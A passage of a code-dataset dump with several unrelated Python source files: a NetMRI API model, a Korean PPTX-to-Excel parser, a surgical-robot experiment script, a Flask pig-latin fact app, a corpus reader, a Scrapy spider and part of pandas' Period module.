identifier for the network which the device is associated to.\n | ``attribute type:`` number\n\n | ``UsedAccessPorts:`` Used Access Ports\n | ``attribute type:`` number\n\n | ``UsedTrunkPorts:`` Used Trunk Ports\n | ``attribute type:`` number\n\n\n \"\"\"\n\n properties = (\"id\",\n \"Network\",\n \"DeviceID\",\n \"DeviceName\",\n \"DeviceIPDotted\",\n \"DeviceIPNumeric\",\n \"DeviceDNSName\",\n \"TotalPorts\",\n \"FreePorts\",\n \"FreePortsPercentage\",\n \"AvailPorts\",\n \"AvailPortsPercentage\",\n \"PoEPorts\",\n \"DeviceSysLocation\",\n \"DeviceVendor\",\n \"DeviceModel\",\n \"PhysicalSerialNum\",\n \"DeviceSysDescr\",\n \"DeviceType\",\n \"FirstSeen\",\n \"LastSeen\",\n \"LastChanged\",\n \"PollDuration\",\n \"SwitchingInd\",\n \"DeviceAssurance\",\n \"VirtualNetworkID\",\n \"UsedAccessPorts\",\n \"UsedTrunkPorts\",\n )\n\n @property\n @check_api_availability\n def meta(self):\n \"\"\"\n User custom fields\n ``attribute type:`` model\n \"\"\"\n return self.broker.meta(**{\"id\": self.id})\n","sub_path":"infoblox_netmri/api/remote/models/spm_devices_new_devices_grid_remote.py","file_name":"spm_devices_new_devices_grid_remote.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"496004490","text":"'''\n pptx parser \n Notes:\n 1. 절대경로 말고 상대경로로 맞춰서 사용해주세요.\n 2. complete log, error log 추가해주세요.\n 3. try, except 사용해주세요.\n 4. pptx_to_excel 다시 작성해주세요. parameter는 dict로 받습니다.ß\n pptx_dict = {'한': [filename1, filename2, ..],\n '영': [filename1, filename2, ..],\n '병': [filename1, filename2, ..],\n '양': [filename1, filename2, ..]}\n 5. strip_regex_all, pptx_extra_regex 따로 있습니다. utils > regex_functions 확인해주세요.\n'''\n\n\nimport re\nimport xlsxwriter\nimport timeit\nfrom itertools import zip_longest\nfrom nltk.tokenize import sent_tokenize\nfrom tqdm import tqdm\n# ppt인 파일 가져오기\nfrom pptx import Presentation\n\n# 시간찍기\nfrom datetime import datetime\n\nfrom utils.common_functions import *\nfrom utils.regex_functions import *\nfrom mecab import *\n\ndef pptx_parser_pre(pptx_list):\n # pptx 분석 하기위해 list 만들어주기\n pptx_results_pre = []\n prs = Presentation(pptx_list)\n \n # ---- pptx 추출 시작 ----\n for slide in prs.slides:\n \n # 1개의 pptx 분석시작\n for shape in slide.shapes:\n if not shape.has_text_frame:\n continue\n \n \n # 전처리 및 라인별 넣어주기\n for paragraph in shape.text_frame.paragraphs:\n # paragraph.text = regex_cleaner(paragraph.text)\n # paragraph.text = pptx_extra_regex(paragraph.text)\n\n if paragraph.text.strip() in ['.', '/', ',', '', '\\'', '\\\"']:\n continue\n \n pptx_results_pre.append(paragraph.text)\n\n # sent_tokenize \n pptx_results = []\n for pptx_result_pre in pptx_results_pre:\n text_list = sent_tokenize(pptx_result_pre)\n for text in text_list:\n if len(text) == 1 and text == 'E':\n text = text + '→'\n if text[:2] in 'ver':\n text = '←' + text\n pptx_results.append(text)\n pptx_results = list(filter(None, pptx_results))\n return pptx_results\n\n\n\n# 파일 이름의 예외로 pair를 못 이룰때를 대비\ndef check_file_name_exception(file_name):\n file_name = re.sub(r'_', '', file_name)\n file_name = re.sub(r'-', '', file_name)\n file_name = re.sub(r'\\s{1}', '', file_name)\n return file_name\n\n\n## excel idx \ndef excel_index_creator(colum, row_idx):\n colum_idx = colum + str(row_idx)\n return colum_idx\n\n\ndef pptx_to_excel(pptx_files_list, sub_path):\n if len(pptx_files_list) == 0:\n print('''-----------------------------------------------------------\n PPTX파일 없습니다.\n ''')\n else:\n print('''-----------------------------------------------------------\n PPTX 작업 시작합니다.\n ''')\n \n start = timeit.default_timer()\n timestamp = datetime.now().strftime(\"%m%d%H%M\")\n ko_i = 0\n error_cnt = 0\n ko_lists = []\n \n which_not_files = pptx_files_list\n which_in_files = []\n \n for pptx_list in pptx_files_list:\n if pptx_list[-6] == '한':\n # print(pptx_list)\n ko_lists.append(pptx_list)\n\n print(\" Total PPTX_KOR: \", len(ko_lists))\n \n workbook = xlsxwriter.Workbook('./results/' + sub_path + '/' + sub_path + '_pptx_' + timestamp +'.xlsx') # _mustbessossc\n worksheet = workbook.add_worksheet()\n worksheet.write('A1', 'PATH')\n worksheet.write('B1', 'Raw Data')\n worksheet.write('C1', 'KOR')\n worksheet.write('D1', 'ENG')\n worksheet.write('E1', 'MOR')\n worksheet.write('F1', '매캡')\n row_idx = 2\n total_cnt = 0\n\n completed_log = open(f'./results/' + sub_path + '/' + sub_path + '_log_pptx_' + timestamp + '.txt', \"w+\")\n \n try:\n for idx, ko_list in enumerate(ko_lists):\n raw_sents = pptx_parser_pre(ko_list)\n \n raw_sents = list(set(raw_sents))\n total_cnt += len(raw_sents)\n # print(raw_sents)\n\n for idx, raw_sent in enumerate(raw_sents):\n # 한글, 영어가 같이 있는게 아니라면 건너뛰기\n if isSentKoreanAndEnglish(raw_sent) == False:\n continue\n \n # A. Path 쓰기\n a_idx =excel_index_creator('A', row_idx)\n path = pptx_list.split('/')\n path = f'{path[-3]}/{path[-2]}/{path[-1]}/{idx}'\n worksheet.write(a_idx, path)\n\n # raw _sent 형태소 분석 시작\n # B. Raw Sent 쓰기\n b_idx =excel_index_creator('B', row_idx)\n worksheet.write(b_idx, raw_sent)\n te, ko_words, en_words, mor_match_list_str = find_pattern_show_words(raw_sent)\n # print('word_matched: ', word_matched)\n\n # F. 쓰기\n f_idx =excel_index_creator('F', row_idx)\n worksheet.write(f_idx, te)\n \n\n for j in range(len(ko_words)):\n\n # D의 개수가 1개면 skip\n en_words[j] = en_words[j].strip(' ')\n if len(en_words[j]) == 1 or en_words[j] in ['i', 'ii', 'iii', 'iv', 'v', 'vi', 'vv', 'vii', 'viii', 'x', 'xx', 'ix', 'xiii', 'I', 'II', 'III', 'IV', 'V', 'VI', 'VV', 'VII', 'VIII', 'X', 'XX', 'IX', 'XIII']:\n continue\n\n else:\n # C. ko_word 쓰기\n c_idx =excel_index_creator('C', row_idx)\n worksheet.write(c_idx, ko_words[j])\n\n\n # D. en_word 쓰기\n d_idx = excel_index_creator('D', row_idx)\n worksheet.write(d_idx, en_words[j])\n \n\n # E. en_word 쓰기\n e_idx = excel_index_creator('E', row_idx)\n # print(row_idx, raw_sent, '\\n\\t', ko_words[j], '-', en_words[j])\n # 한-영 짝꿍이 안 맞으면 엑셀에 아예 raw_sent도 입력이 안되서 \n # length가 다를때는 일단 넘어가고 \n # 형태소 어떤 패턴으로 뽑앗는지 확인하기\n\n if len(ko_words) != len(mor_match_list_str):\n continue\n # length가 같을때는 쓰게 만들기\n worksheet.write(e_idx, mor_match_list_str[j])\n \n\n row_idx += 1\n\n # Write Complete log\n path = pptx_list.split('/')\n path = f'{path[-3]}/{path[-2]}/{path[-1]}/{idx}'\n completed_log.write('[DONE READING]' + path + '\\n')\n\n\n \n\n except Exception as e:\n print('[ERROR MESSAGE]' + str(e) + '\\n')\n completed_log.write('[ERROR MESSAGE]' + pptx_list + str(e) + '\\n')\n error_cnt += 1\n\n # 안써지는거 확인하기\n for idx in which_in_files:\n for jdx in which_not_files:\n if idx == jdx:\n which_not_files.remove(jdx)\n \n \n workbook.close()\n completed_log.close()\n stop = timeit.default_timer()\n\n \n print(' PPTX =====> Raw text to excel DONE (Running Time: ', stop - start, \"sec.)\")\n print(f'total_count = {total_cnt}')","sub_path":"18_Natural_Processing/찐/parsers/pptx_parser.py","file_name":"pptx_parser.py","file_ext":"py","file_size_in_byte":7933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"467148004","text":"import numpy as np\nimport sys, os, pickle, time\nfrom simulation import *\nfrom tensioner import *\nfrom shapecloth import *\nfrom davinci_interface.interface import *\nimport IPython\nimport os.path as osp\nfrom simulation_policy import *\nfrom registration import *\nfrom notch_finder import *\nfrom endoscope.image_utils.blob_tracker import *\n\n\"\"\"\nThis file contains a script that takes a policy, a trajectory, and a pinning point, and executes it on the DVRK.\n\"\"\"\n\nif __name__ == '__main__':\n experiment_directory = \"experiment_data/experiments/4\"\n policy_name = \"three.p\"\n pts = \"gauze_pts2.p\"\n policy_file = osp.join(experiment_directory, policy_name)\n pts_file = osp.join(experiment_directory, pts)\n corners_file = osp.join(experiment_directory, \"gauze_pts.p\")\n policy = load_policy(policy_file)\n pts = load_robot_points(osp.join(experiment_directory, pts))\n trajectory = np.array(get_robot_trajectory(pts))\n trajlen = len(trajectory)\n\n with open(osp.join(experiment_directory, \"trajindices.p\"), \"rb\") as f:\n indices = pickle.load(f)\n lst = []\n for elem in indices:\n lst.append(trajectory[elem].tolist())\n trajectory = lst\n with open(osp.join(experiment_directory, \"blobs.p\"), \"rb\") as f:\n blobs = pickle.load(f)\n bt = BlobTracker(blobs)\n time.sleep(1)\n for i in range(10):\n bt.update_blobs()\n\n # for safety/reproducibility\n # trajectory[:,2]+= 0.02\n\n grippers = GripperArm(\"PSM2\", policy)\n scissors = ScissorArm(\"PSM1\", trajectory, grippers)\n\n pt = [280, 480]\n grab_point = px_to_robot(pt, corners_file, pts_file)\n grab_point = [-0.112095781205, 0.0755202298493, -0.0785452182936]\n # grippers.grab_point(grab_point)\n\n for i in range(trajlen):\n blobs = bt.update_blobs()\n simblobs = []\n for blob in blobs:\n simblob = robot_frame_to_sim_file(blob, corners_file, pts_file, offset=(50,50))\n simblobs.append(simblob[0])\n simblobs.append(simblob[1])\n simblobs.append(simblob[2])\n scissors.step(simblobs)\n\n","sub_path":"physical_experiment.py","file_name":"physical_experiment.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"141191229","text":"import os\nimport requests\nfrom flask import Flask, send_file, Response\nfrom bs4 import BeautifulSoup\n\n\napp = Flask(__name__)\n\n\n\ndef get_fact():\n \"\"\" method to get random fact frmo unkno.com\"\"\"\n\n response = requests.get(\"http://unkno.com\")\n soup = BeautifulSoup(response.content, \"html.parser\")\n\n facts = soup.find_all(\"div\", id=\"content\")\n return facts[0].getText()\n\ndef pig_latinze(fact):\n\n url_link = \"https://hidden-journey-62459.herokuapp.com/piglatinize/\"\n data = {\"input_text\": fact}\n converted_fact = requests.post(url_link, data=data)\n return converted_fact\n\n\n\n\n@app.route('/')\ndef home():\n fact = get_fact()\n fact_piglatin = pig_latinze(fact)\n return f'{fact_piglatin.url}'\n\n\nif __name__ == \"__main__\":\n port = int(os.environ.get(\"PORT\", 6787))\n app.run(host='0.0.0.0', port=port)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"648778757","text":"import os\nimport sys\nsys.path.insert(0, os.path.abspath('.'))\nfrom app.common_errors import CommonErrors\n\n\nclass Corpora:\n def __init__(self, errors=None, corpus=None):\n if errors:\n self.errors = errors()\n else:\n self.errors = errors\n self.corpus_dir = corpus\n self.make_corpus()\n\n def make_corpus(self):\n path = os.path.join('data', 'corpora', self.corpus_dir)\n corpus = [path + '/' + corp for corp in os.listdir(path)]\n self.corpus = corpus\n\n def read_corpus(self):\n for document in self.corpus:\n with open(document, 'r', encoding='utf-8') as doc:\n for line in doc.readlines():\n if self.errors:\n line = self.errors.correct(line)\n yield line\n\n\nclass TestCorpus(Corpora):\n def __init__(self):\n super().__init__(corpus=\"test\")\n self.name = \"test\"\n\n\nclass OANCCorpus(Corpora):\n def __init__(self, errors=CommonErrors):\n super().__init__(errors=errors, corpus=\"OANC\")\n self.name = \"oanc\"\n","sub_path":"app/corpora.py","file_name":"corpora.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"400576804","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.spiders import CrawlSpider\nfrom Dongguan.items import DongguanItem\n\nclass DongguanSpider(CrawlSpider):\n name = 'dongguan2'\n allowed_domains = ['wz.sun0769.com']\n offset=0\n url = 'http://wz.sun0769.com/index.php/question/questionType?type=4&page='\n start_urls=[url+str(offset)]\n\n def parse_item(self, response):\n item = DongguanItem()\n url = response.url\n\n text = response.xpath('//div[@class=\"pagecenter p3\"]//strong/text()').extract()[0]\n title = text.split('  ')[0].split(':')[1]\n number = text.split('  ')[1].split(':')[1]\n content=response.xpath('//div[@class=\"c1 text14_2\"]/text()|//div[@class=\"contentext\"]/text()').extract()\n content = ''.join(content)\n item['title']=title\n item['number']=number\n item['content']=content\n item['url']=url\n yield item\n\n\n def parse(self, response):\n links = response.xpath('//a[contains(@href,\"/html/question/\")]/@href').extract()\n for link in links:\n yield scrapy.Request(link, callback=self.parse_item)\n\n if self.offset<1000:\n self.offset+=30\n new_url = self.url + str(self.offset)\n yield scrapy.Request(new_url,callback=self.parse)","sub_path":"爬虫/day08_0516/DongGuan/DongGuan/spiders/dongguan2.py","file_name":"dongguan2.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"28038446","text":"from datetime import datetime\nimport numpy as np\n\nfrom pandas.tseries.frequencies import get_freq_code as _gfc\nfrom pandas.tseries.index import DatetimeIndex, Int64Index\nfrom pandas.tseries.tools import parse_time_string\nimport pandas.tseries.frequencies as _freq_mod\n\nimport pandas.core.common as com\nimport pandas.core.datetools as datetools\n\nfrom pandas._tseries import Timestamp\nimport pandas._tseries as lib\n\n\n#---------------\n# Period logic\n\ndef to_period(arg, freq=None):\n \"\"\" Attempts to convert arg to timestamp \"\"\"\n if arg is None:\n return arg\n\n if type(arg) == float:\n raise TypeError(\"Cannot convert a float to period\")\n\n return Period(arg, freq=freq)\n\nclass Period(object):\n\n def __init__(self, value=None, freq=None,\n year=None, month=1, quarter=None, day=1,\n hour=0, minute=0, second=0):\n \"\"\"\n Represents an period of time\n\n Parameters\n ----------\n value : Period or basestring, default None\n The time period represented (e.g., '4Q2005')\n freq : str, default None\n e.g., 'B' for businessday, ('T', 5) or '5T' for 5 minutes\n year : int, default None\n month : int, default 1\n quarter : int, default None\n day : int, default 1\n hour : int, default 0\n minute : int, default 0\n second : int, default 0\n \"\"\"\n # freq points to a tuple (base, mult); base is one of the defined\n # periods such as A, Q, etc. Every five minutes would be, e.g.,\n # ('T', 5) but may be passed in as a string like '5T'\n\n self.freq = None\n\n # ordinal is the period offset from the gregorian proleptic epoch\n\n self.ordinal = None\n\n if value is None:\n if freq is None:\n raise ValueError(\"If value is None, freq cannot be None\")\n\n if year is None:\n raise ValueError(\"If value is None, year cannot be None\")\n\n if quarter is not None:\n month = (quarter - 1) * 3 + 1\n\n base, mult = _gfc(freq)\n\n self.ordinal = lib.period_ordinal(year, month, day, hour, minute,\n second, base, mult)\n\n elif isinstance(value, Period):\n other = value\n if freq is None or _gfc(freq) == _gfc(other.freq):\n self.ordinal = other.ordinal\n freq = other.freq\n else:\n converted = other.asfreq(freq)\n self.ordinal = converted.ordinal\n\n elif isinstance(value, basestring):\n value = value.upper()\n dt, parsed, reso = parse_time_string(value)\n\n if freq is None:\n if reso == 'year':\n freq = 'A'\n elif reso == 'quarter':\n freq = 'Q'\n elif reso == 'month':\n freq = 'M'\n elif reso == 'day':\n freq = 'D'\n elif reso == 'hour':\n freq = 'H'\n elif reso == 'minute':\n freq = 'T'\n elif reso == 'second':\n freq = 'S'\n else:\n raise ValueError(\"Could not infer frequency for period\")\n\n elif isinstance(value, datetime):\n dt = value\n if freq is None:\n raise ValueError('Must supply freq for datetime value')\n elif isinstance(value, (int, long)):\n if value <= 0:\n raise ValueError(\"Value must be positive\")\n self.ordinal = value\n if freq is None:\n raise ValueError('Must supply freq for ordinal value')\n else:\n msg = \"Value must be Period, string, integer, or datetime\"\n raise ValueError(msg)\n\n base, mult = _gfc(freq)\n\n if self.ordinal is None:\n self.ordinal = lib.period_ordinal(dt.year, dt.month, dt.day, dt.hour,\n dt.minute, dt.second, base, mult)\n\n self.freq = _freq_mod._get_freq_str(base, mult)\n\n def __eq__(self, other):\n if isinstance(other, Period):\n return (self.ordinal == other.ordinal\n and _gfc(self.freq) == _gfc(other.freq))\n return False\n\n def __add__(self, other):\n if isinstance(other, (int, long)):\n return Period(self.ordinal + other, self.freq)\n raise ValueError(\"Cannot add with non-integer value\")\n\n def __sub__(self, other):\n if isinstance(other, (int, long)):\n return Period(self.ordinal - other, self.freq)\n if isinstance(other, Period):\n if other.freq != self.freq:\n raise ValueError(\"Cannot do arithmetic with \"\n \"non-conforming periods\")\n return self.ordinal - other.ordinal\n raise ValueError(\"Cannot sub with non-integer value\")\n\n def asfreq(self, freq=None, how='E'):\n \"\"\"\n\n Parameters\n ----------\n freq :\n how :\n\n Returns\n -------\n resampled : Period\n \"\"\"\n how = _validate_end_alias(how)\n base1, mult1 = _gfc(self.freq)\n base2, mult2 = _gfc(freq)\n\n new_ordinal = lib.period_asfreq(self.ordinal, base1, mult1,\n base2, mult2, how)\n\n return Period(new_ordinal, (base2, mult2))\n\n def start_time(self):\n return self.to_timestamp(which_end='S')\n\n def end_time(self):\n return self.to_timestamp(which_end='E')\n\n def to_timestamp(self, which_end='S'):\n \"\"\"\n Return the Timestamp at the start/end of the period\n\n Parameters\n ----------\n which_end: str, default 'S' (start)\n 'S', 'E'. Can be aliased as case insensitive\n 'Start', 'Finish', 'Begin', 'End'\n\n Returns\n -------\n Timestamp\n \"\"\"\n which_end = _validate_end_alias(which_end)\n new_val = self.asfreq('S', which_end)\n base, mult = _gfc(new_val.freq)\n return Timestamp(lib.period_ordinal_to_dt64(new_val.ordinal, base, mult))\n\n @property\n def year(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_year(self.ordinal, base, mult)\n\n @property\n def month(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_month(self.ordinal, base, mult)\n\n @property\n def qyear(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_qyear(self.ordinal, base, mult)\n\n @property\n def quarter(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_quarter(self.ordinal, base, mult)\n\n @property\n def day(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_day(self.ordinal, base, mult)\n\n @property\n def week(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_week(self.ordinal, base, mult)\n\n @property\n def weekday(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_weekday(self.ordinal, base, mult)\n\n @property\n def day_of_week(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_dow(self.ordinal, base, mult)\n\n @property\n def day_of_year(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_doy(self.ordinal, base, mult)\n\n @property\n def hour(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_hour(self.ordinal, base, mult)\n\n @property\n def minute(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_minute(self.ordinal, base, mult)\n\n @property\n def second(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_second(self.ordinal, base, mult)\n\n @classmethod\n def now(cls, freq=None):\n return Period(datetime.now(), freq=freq)\n\n def __repr__(self):\n base, mult = _gfc(self.freq)\n formatted = lib.period_ordinal_to_string(self.ordinal, base, mult)\n freqstr = _freq_mod._reverse_period_code_map[base]\n if mult == 1:\n return \"Period('%s', '%s')\" % (formatted, freqstr)\n return (\"Period('%s', '%d%s')\" % (formatted, mult, freqstr))\n\n def __str__(self):\n base, mult = _gfc(self.freq)\n formatted = lib.period_ordinal_to_string(self.ordinal, base, mult)\n return (\"%s\" % formatted)\n\n def strftime(self, fmt):\n \"\"\"\n Returns the string representation of the :class:`Period`, depending\n on the selected :keyword:`format`. :keyword:`format` must be a string\n containing one or several directives. The method recognizes the same\n directives as the :func:`time.strftime` function of the standard Python\n distribution, as well as the specific additional directives ``%f``,\n ``%F``, ``%q``. (formatting & docs originally from scikits.timeries)\n\n +-----------+--------------------------------+-------+\n | Directive | Meaning | Notes |\n +===========+================================+=======+\n | ``%a`` | Locale's abbreviated weekday | |\n | | name. | |\n +-----------+--------------------------------+-------+\n | ``%A`` | Locale's full weekday name. | |\n +-----------+--------------------------------+-------+\n | ``%b`` | Locale's abbreviated month | |\n | | name. | |\n +-----------+--------------------------------+-------+\n | ``%B`` | Locale's full month name. | |\n +-----------+--------------------------------+-------+\n | ``%c`` | Locale's appropriate date and | |\n | | time representation. | |\n +-----------+--------------------------------+-------+\n | ``%d`` | Day of the month as a decimal | |\n | | number [01,31]. | |\n +-----------+--------------------------------+-------+\n | ``%f`` | 'Fiscal' year without a | \\(1) |\n | | century as a decimal number | |\n | | [00,99] | |\n +-----------+--------------------------------+-------+\n | ``%F`` | 'Fiscal' year with a century | \\(2) |\n | | as a decimal number | |\n +-----------+--------------------------------+-------+\n | ``%H`` | Hour (24-hour clock) as a | |\n | | decimal number [00,23]. | |\n +-----------+--------------------------------+-------+\n | ``%I`` | Hour (12-hour clock) as a | |\n | | decimal number [01,12]. | |\n +-----------+--------------------------------+-------+\n | ``%j`` | Day of the year as a decimal | |\n | | number [001,366]. | |\n +-----------+--------------------------------+-------+\n | ``%m`` | Month as a decimal number | |\n | | [01,12]. | |\n +-----------+--------------------------------+-------+\n | ``%M`` | Minute as a decimal number | |\n | | [00,59]. | |\n +-----------+--------------------------------+-------+\n | ``%p`` | Locale's equivalent of either | \\(3) |\n | | AM or PM. | |\n +-----------+--------------------------------+-------+\n | ``%q`` | Quarter as a decimal number | |\n | | [01,04] | |\n +-----------+--------------------------------+-------+\n | ``%S`` | Second as a decimal number | \\(4) |\n | | [00,61]. | |\n +-----------+--------------------------------+-------+\n | ``%U`` | Week number of the year | \\(5) |\n | | (Sunday as the first day of | |\n | | the week) as a decimal number | |\n | | [00,53]. All days in a new | |\n | | year preceding the first | |\n | | Sunday are considered to be in | |\n | | week 0. | |\n +-----------+--------------------------------+-------+\n | ``%w`` | Weekday as a decimal number | |\n | | [0(Sunday),6]. | |\n +-----------+--------------------------------+-------+\n | ``%W`` | Week number of the year | \\(5) |\n | | (Monday as the first day of | |\n | | the week) as a decimal number | |\n | | [00,53]. All days in a new | |\n | | year preceding the first | |\n | | Monday are considered to be in | |\n | | week 0. | |\n +-----------+--------------------------------+-------+\n | ``%x`` | Locale's appropriate date | |\n | | representation. | |\n +-----------+--------------------------------+-------+\n | ``%X`` | Locale's appropriate time | |\n | | representation. | |\n +-----------+--------------------------------+-------+\n | ``%y`` | Year without century as a | |\n | | decimal number [00,99]. | |\n +-----------+--------------------------------+-------+\n | ``%Y`` | Year with century as a decimal | |\n | | number. | |\n +-----------+--------------------------------+-------+\n | ``%Z`` | Time zone name (no characters | |\n | | if no time zone exists). | |\n +-----------+--------------------------------+-------+\n | ``%%`` | A literal ``'%'`` character. | |\n +-----------+--------------------------------+-------+\n\n .. note::\n\n (1)\n The ``%f`` directive is the same as ``%y`` if the frequency is\n not quarterly.\n Otherwise, it corresponds to the 'fiscal' year, as defined by\n the :attr:`qyear` attribute.\n\n (2)\n The ``%F`` directive is the same as ``%Y`` if the frequency is\n not quarterly.\n Otherwise, it corresponds to the 'fiscal' year, as defined by\n the :attr:`qyear` attribute.\n\n (3)\n The ``%p`` directive only affects the output hour field\n if the ``%I`` directive is used to parse the hour.\n\n (4)\n The range really is ``0`` to ``61``; this accounts for leap\n seconds and the (very rare) double leap seconds.\n\n (5)\n The ``%U`` and ``%W`` directives are only used in calculations\n when the day of the week and the year are specified.\n\n .. rubric:: Examples\n\n >>> a = Period(freq='Q@JUL', year=2006, quarter=1)\n >>> a.strftime('%F-Q%q')\n '2006-Q1'\n >>> # Output the last month in the quarter of this date\n >>> a.strftime('%b-%Y')\n 'Oct-2005'\n >>>\n >>> a = Period(freq='D', year=2001, month=1, day=1)\n >>> a.strftime('%d-%b-%Y')\n '01-Jan-2006'\n >>> a.strftime('%b. %d, %Y was a %A')\n 'Jan. 01, 2001 was a Monday'\n \"\"\"\n base, mult = _gfc(self.freq)\n if fmt is not None:\n return lib.period_strftime(self.ordinal, base, mult, fmt)\n else:\n return lib.period_ordinal_to_string(self.ordinal, base, mult)\n\ndef _period_unbox(key, check=None):\n '''\n Period-like => int64\n '''\n if not isinstance(key, Period):\n key = Period(key, freq=check)\n elif check is not None:\n if key.freq != check:\n raise ValueError(\"%s is wrong freq\" % key)\n return np.int64(key.ordinal)\n\ndef _period_unbox_array(arr, check=None):\n if arr is None:\n return arr\n unboxer = np.frompyfunc(lambda x: _period_unbox(x, check=check), 1, 1)\n return unboxer(arr)\n\ndef _period_box(val, freq):\n return Period(val, freq=freq)\n\ndef _period_box_array(arr, freq):\n if arr is None:\n return arr\n\n if not isinstance(arr, np.ndarray):\n return arr\n\n boxfunc = lambda x: _period_box(x, freq)\n boxer = np.frompyfunc(boxfunc, 1, 1)\n return boxer(arr)\n\ndef dt64arr_to_periodarr(data, freq):\n if data is None:\n return data\n\n if isinstance(freq, basestring):\n base, mult = _gfc(freq)\n else:\n base, mult = freq\n\n return lib.dt64arr_to_periodarr(data.view('i8'), base, mult)\n\n# --- Period index sketch\n\nclass PeriodIndex(Int64Index):\n \"\"\"\n Immutable ndarray holding ordinal values indicating regular periods in\n time such as particular years, quarters, months, etc. A value of 1 is the\n period containing the Gregorian proleptic datetime Jan 1, 0001 00:00:00.\n This ordinal representation is from the scikits.timeseries project.\n\n For instance,\n # construct period for day 1/1/1 and get the first second\n i = Period(year=1,month=1,day=1,freq='D').asfreq('S', 'S')\n i.ordinal\n ===> 1\n\n Index keys are boxed to Period objects which carries the metadata (eg,\n frequency information).\n\n Parameters\n ----------\n data : array-like (1-dimensional), optional\n Optional period-like data to construct index with\n dtype : NumPy dtype (default: i8)\n copy : bool\n Make a copy of input ndarray\n freq : string or period object, optional\n One of pandas period strings or corresponding objects\n start : starting value, period-like, optional\n If data is None, used as the start point in generating regular\n period data.\n periods : int, optional, > 0\n Number of periods to generate, if generating index. Takes precedence\n over end argument\n end : end value, period-like, optional\n If periods is none, generated index will extend to first conforming\n period on or just past end argument\n \"\"\"\n\n def __new__(cls, data=None,\n freq=None, start=None, end=None, periods=None,\n copy=False, name=None):\n\n if isinstance(freq, Period):\n freq = freq.freq\n else:\n freq = datetools.get_standard_freq(freq)\n\n if data is None:\n if start is None and end is None:\n raise ValueError('Must specify start, end, or data')\n\n start = to_period(start, freq)\n end = to_period(end, freq)\n\n is_start_intv = isinstance(start, Period)\n is_end_intv = isinstance(end, Period)\n if (start is not None and not is_start_intv):\n raise ValueError('Failed to convert %s to period' % start)\n\n if (end is not None and not is_end_intv):\n raise ValueError('Failed to convert %s to period' % end)\n\n if is_start_intv and is_end_intv and (start.freq != end.freq):\n raise ValueError('Start and end must have same freq')\n\n if freq is None:\n if is_start_intv:\n freq = start.freq\n elif is_end_intv:\n freq = end.freq\n else:\n raise ValueError('Could not infer freq from start/end')\n\n if periods is not None:\n if start is None:\n data = np.arange(end.ordinal - periods + 1,\n end.ordinal + 1,\n dtype=np.int64)\n else:\n data = np.arange(start.ordinal, start.ordinal + periods,\n dtype=np.int64)\n else:\n if start is None or end is None:\n msg = 'Must specify both start and end if periods is None'\n raise ValueError(msg)\n data = np.arange(start.ordinal, end.ordinal+1, dtype=np.int64)\n\n subarr = data.view(cls)\n subarr.name = name\n subarr.freq = freq\n\n return subarr\n\n if not isinstance(data, np.ndarray):\n if np.isscalar(data):\n raise ValueError('PeriodIndex() must be called with a '\n 'collection of some kind, %s was passed'\n % repr(data))\n\n if isinstance(data, Period):\n data = [data]\n\n # other iterable of some kind\n if not isinstance(data, (list, tuple)):\n data = list(data)\n\n try:\n data = np.array(data, dtype='i8')\n except:\n data = np.array(data, dtype='O')\n\n if freq is None:\n raise ValueError('freq cannot be none')\n\n data = _period_unbox_array(data, check=freq)\n else:\n if isinstance(data, PeriodIndex):\n if freq is None or freq == data.freq:\n freq = data.freq\n data = data.values\n else:\n base1, mult1 = _gfc(data.freq)\n base2, mult2 = _gfc(freq)\n data = lib.period_asfreq_arr(data.values, base1, mult1,\n base2, mult2, 'E')\n else:\n if freq is None:\n raise ValueError('freq cannot be none')\n\n if data.dtype == np.datetime64:\n data = dt64arr_to_periodarr(data, freq)\n elif data.dtype == np.int64:\n pass\n else:\n data = data.astype('i8')\n\n data = np.array(data, dtype=np.int64, copy=False)\n\n if (data <= 0).any():\n raise ValueError(\"Found illegal (<= 0) values in data\")\n\n subarr = data.view(cls)\n subarr.name = name\n subarr.freq = freq\n\n return subarr\n\n @property\n def is_all_dates(self):\n return True\n\n def asfreq(self, freq=None, how='E'):\n how = _validate_end_alias(how)\n\n base1, mult1 = _gfc(self.freq)\n\n if isinstance(freq, basestring):\n base2, mult2 = _gfc(freq)\n else:\n base2, mult2 = freq\n\n\n new_data = lib.period_asfreq_arr(self.values,\n base1, mult1,\n base2, mult2, how)\n\n return PeriodIndex(new_data, freq=freq)\n\n @property\n def year(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_year_arr(self.values, base, mult)\n\n @property\n def month(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_month_arr(self.values, base, mult)\n\n @property\n def qyear(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_qyear_arr(self.values, base, mult)\n\n @property\n def quarter(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_quarter_arr(self.values, base, mult)\n\n @property\n def day(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_day_arr(self.values, base, mult)\n\n @property\n def week(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_week_arr(self.values, base, mult)\n\n @property\n def weekday(self):\n base, mult = _gfc(self.freq)\n return 